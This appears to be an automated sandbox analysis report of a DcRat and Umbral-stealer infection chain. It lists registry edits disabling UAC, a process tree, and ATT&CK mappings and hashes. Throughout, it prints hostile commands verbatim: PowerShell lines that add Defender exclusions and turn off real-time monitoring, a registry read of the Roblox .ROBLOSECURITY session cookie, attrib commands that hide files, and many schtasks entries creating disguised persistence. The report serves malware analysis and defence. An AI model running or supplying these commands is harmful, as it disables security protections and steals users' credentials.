Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	RuntimeBroker.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2024	attrib.exe
4248	attrib.exe
3304	attrib.exe

C:\Users\Admin\AppData\Local\Temp\392fcfb7445ce64079d2de971877520e.exe
"C:\Users\Admin\AppData\Local\Temp\392fcfb7445ce64079d2de971877520e.exe"
1⤵
- DcRat
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Users\Admin\AppData\Local\Temp\loader0.exe
  "C:\Users\Admin\AppData\Local\Temp\loader0.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\reviewCrt\jVfhzQMFI0iTNziih7b.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\reviewCrt\tYuCM.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3584
    - - C:\reviewCrt\AgentDriversession.exe
        
        "C:\reviewCrt\AgentDriversession.exe"
        5⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2192
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\omSz50MDMj.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3792
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:3132
        
        C:\reviewCrt\AgentDriversession.exe
        
        "C:\reviewCrt\AgentDriversession.exe"
        7⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:4616
        
        C:\Windows\IdentityCRL\production\RuntimeBroker.exe
        
        "C:\Windows\IdentityCRL\production\RuntimeBroker.exe"
        8⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2880
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0735ae1d-95bc-4153-a4bc-d6c94d3199c2.vbs"
        9⤵
        
        PID:368
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b2c12b14-a0c1-4988-9a65-c9dd7c51ffa4.vbs"
        9⤵
        
        PID:392
        
        C:\Users\Admin\AppData\Local\Temp\G21JVT0SH699M9Y.exe
        
        "C:\Users\Admin\AppData\Local\Temp\G21JVT0SH699M9Y.exe"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3108
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\PortsurrogateWinhostdhcp\ya0aIw.vbe"
        10⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2564
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat" "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:1744
        
        C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe
        
        "C:\PortsurrogateWinhostdhcp/WebReviewWinSvc.exe"
        12⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sppsvc.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortsurrogateWinhostdhcp\sysmon.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortsurrogateWinhostdhcp\taskhostw.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Templates\conhost.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\EDylAyiNzz.bat"
        13⤵
        
        PID:320
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        14⤵
        
        PID:5488
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        14⤵
        
        PID:5604
        
        C:\Users\All Users\Templates\conhost.exe
        
        "C:\Users\All Users\Templates\conhost.exe"
        14⤵
        Executes dropped EXE
        
        PID:5696
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\reviewCrt\file.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3784
- C:\Users\Admin\AppData\Local\Temp\installer.exe
  "C:\Users\Admin\AppData\Local\Temp\installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
    "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4248
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:3304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp20E1.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1064
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:756
    - - C:\Users\Admin\Exec\$77svchost.exe
        
        "C:\Users\Admin\Exec\$77svchost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2876
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /query /TN $77svchost.exe
        6⤵
        
        PID:1316
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /Create /SC ONCE /TN "$77svchost.exe" /TR "C:\Users\Admin\Exec\$77svchost.exe \"\$77svchost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
        6⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:3776
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /query /TN $77svchost.exe
        6⤵
        
        PID:324
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2860
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "svchost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
        6⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:2292
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4796
  - - C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Views/modifies file attributes
      PID:2024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4144
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2452
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:2908
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:1844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:116
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:860
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:396
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\reviewCrt\WmiPrvSE.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\reviewCrt\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\reviewCrt\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\TextInputHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\Default User\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\smss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Admin\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\smss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\SendTo\taskhostw.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Users\Admin\SendTo\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\SendTo\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\Windows\Downloaded Program Files\sysmon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\Downloaded Program Files\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 12 /tr "'C:\Windows\Downloaded Program Files\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\explorer.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Mail\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Windows\Globalization\Time Zone\sysmon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\Globalization\Time Zone\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\Windows\Globalization\Time Zone\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Windows\IdentityCRL\production\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\IdentityCRL\production\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\IdentityCRL\production\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2092

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sppsvc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\PortsurrogateWinhostdhcp\sysmon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\PortsurrogateWinhostdhcp\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\PortsurrogateWinhostdhcp\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\PortsurrogateWinhostdhcp\taskhostw.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\PortsurrogateWinhostdhcp\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\PortsurrogateWinhostdhcp\taskhostw.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Templates\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\All Users\Templates\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Templates\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 13 /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WebReviewWinSvc" /sc ONLOGON /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 6 /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\PortsurrogateWinhostdhcp\AW1Fe6Q61HGStQsO0.bat

Filesize
92B

MD5
7a0242e21fbe67928f8bb2a34df50776

SHA1
79e56085bc21f93a0f6a6f9141e65e56f15250ac

SHA256
bf8d81fbca5474b93fdadc88c08d3c97c8458a4985339b575cfea79cd1808beb

SHA512
3a14220e9881aff2a2ee1fb8427e9e546ee08cbea80a753217e0424ecd284cc5284323caadd4592d01e493c74609c77f49249c7305185832de993a6ddd384896

Download Submit
C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe

Filesize
1.9MB

MD5
b9ae6cecac930e2d1ab60253e735a423

SHA1
bb4da2c1ca3802ecb9743871daed567fdfec55ed

SHA256
1e1a1ba9b92b5c91284b94606192c66fafe90db8c08c1aa748bf990e488f0a57

SHA512
04d621a1dcd636c6fd796862f6c982c5715516837d55ef32ecec441a36d0e6d132777c1bad9bffa1b5e264316e4d7969fa7e9d43eb6b68fb5c49034cf67ba93b

Download Submit
C:\PortsurrogateWinhostdhcp\ya0aIw.vbe

